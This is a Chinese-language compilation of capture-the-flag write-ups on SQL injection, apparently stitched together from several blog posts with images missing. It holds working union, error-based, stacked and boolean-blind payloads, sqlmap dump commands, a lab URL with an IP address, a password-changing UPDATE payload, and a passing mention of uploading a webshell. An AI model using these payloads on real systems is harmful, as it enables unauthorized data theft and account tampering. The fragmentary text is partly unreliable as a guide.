点吧,输入0’发现还是:
输入0" 发现报错:
确定可以注入,判断字段有多少个 0"order by 1,2,3# 发现:
说明有两列。
输入 0" union select database(),2# ,得到库名:
继续输入 0" union select table_name,2 from information_schema.tables where table_schema=’bugkusql1’ # (0" union select group_concat(table_name),2 from information_schema.tables where table_schema=database()# )得到表名:
继续输入 0" union select column_name,2 from information_schema.columns where table_name=‘flag1’ # 得到列名:
继续输入 0" union select flag1,2 from flag1# (爆字段里的内容,中的表明是不加单引号的)得到该列下的值:
是post提交,url明显提示是个sql注入,由于post提交,要sql和burp结合起来使用。
首先burp抓包,抓到包后选择存到txt文件中:(随便输入账号密码)
我保存到了D:\1.txt
然后打开sqlmap,输入指令:sqlmap.py -r "D:\1.txt" -p admin_name --dbs
解释一下 -r是读文件 后面是刚才保存的绝对路径,-p是参数,也就是注入点(选了admin_name是注入点) --dbs意思是想获取数据库名字
可以看到sqlmap获得了数据库的名字:
应该是这个bugkul1,再继续爆表,命令:sqlmap.py -r "D:\1.txt" -D bugkusql1 -p admin_name --tables
解释:-D是表示选择了后面的这个数据库 --tables是想获取表
可以看到爆出了表
应该在flag1这个表里,继续爆列名
命令:sqlmap.py -r "D:\1.txt" -D bugkusql1 -T flag1 -p admin_name --columns
解释类似上面 不过加了一个-T 指定表
可以发现爆出了列名
flag1这个列 最后查字段 命令:sqlmap.py -r "D:\1.txt" -D bugkusql1 -T flag1 -C flag1 -p admin_name --dump
解释:同上面 --dump是获取字段的命令
(在这过程中可能会让你选择Y或者N 我直接回车的)
可以看到爆出了flag
根据关卡提示,得知 38关 为堆叠注入,页面如下。
如果堆叠注入的情况下,首先是考虑闭合前面的语句,再执行第二个语句;所以构建payload "?id=1';第二条SQL语句 --+" 或者 "?id=1;第二条SQL语句 --+"
从页面上直观的看当前显示的用户和密码为 “Dumb/Dumb”,姑且猜测当前用户在表中的两个字段 “username”、“password”;
现在尝试一下爆出数据库、表、列名等相关信息。 尝试得到库名 “security”
尝试获取 “security” 数据库下的表名 得到[emails,referers,uagents,users]
http://139.196.87.102:11207/Less-38/?id=1%27%20and%20exp(~(select%20*%20from(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27)a));%20--+
得到了一个 “users” 表的信息,现在看一下 “users” 表的列名 [id,username,password]
http://139.196.87.102:11207/Less-38/?id=1%27%20and%20exp(~(select%20*%20from(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27)a));%20--+
构造堆叠注入的payload ?id=1'; update users set password = 'Dumb' where username = 'Dumb'; --+
这里看到 Dumb 用户的密码被改成了 Dumb001 ,说明构建的堆叠注入的 payload 利用成功
按照题目意思输入1看看
从这里可以知道
不需要打引号
哦对了,我们先应该判断是否有注入点,利用真假语句来判断id的值是否可以改变sql语句的变化
通过恒真语句and 1=1和恒假语句and 1=2得知id的值可以改变sql语句的走向,说明这里存在注入点,然后便上网查询一下布尔注入应该要用到哪些函数语句
1 and length(database())=4
可以知道数据库名是四个字符的,然后利用substr(x,1,1)分割函数来一个个试是什么字符,利用ascii的值来判断
可以得知数据库第一个字符的ascii值是大于110的
可以确定第一个字符的ascii值就是115也就是s,后面的就不用去猜了,肯定就是sqli了
接下来我们利用count函数来判断sqli数据库里有几个表
1 and (select count(table_name) from information_schema.tables where table_schema='sqli' )<3
可以知道少于3张表,我们就可以联想到news和flag了,方法随便用,可以用concat和floor这种方法来判断,但是都离不开ascii和count来判断
得知第一个表的第一个字符ascii值大于109
利用sqlmap来得知数据库有哪些
sqlmap.py -u 登录的地址 -dbs
虽然有点时间,但是还是比我们手动注入的快的
然后利用sqlmap.py -u 输入地址 -D sqli --tables来获取数据库里面的表
发现两张表flag和news,我们可以直接去看字段以及数值了
sqlmap.py -u 地址 -D sqli -T flag --columns --dump
(这题自己没摸出来,看的网上的wp)主要是脚本问题
CTFHUB SQL注入——时间盲注 附自己写的脚本_ctf 时间盲注_Wuuconix的博客-CSDN博客
自己做的题wp:BUGKU CTF——WEB基础 {GET,POST}_get bugku csdn_lulu001128的博客-CSDN博客
上传一句话木马
先用万能密码试一下:
发现报错,可以直接进行报错注入
这里直接查询出数据库名,进行下一步操作:
当我们再次用updatexml函数进行报错注入时发现提示The used SELECT statements have a different number of columns。
猜测是因为updatexml的最大长度是32位,所以换一个函数继续进行注入。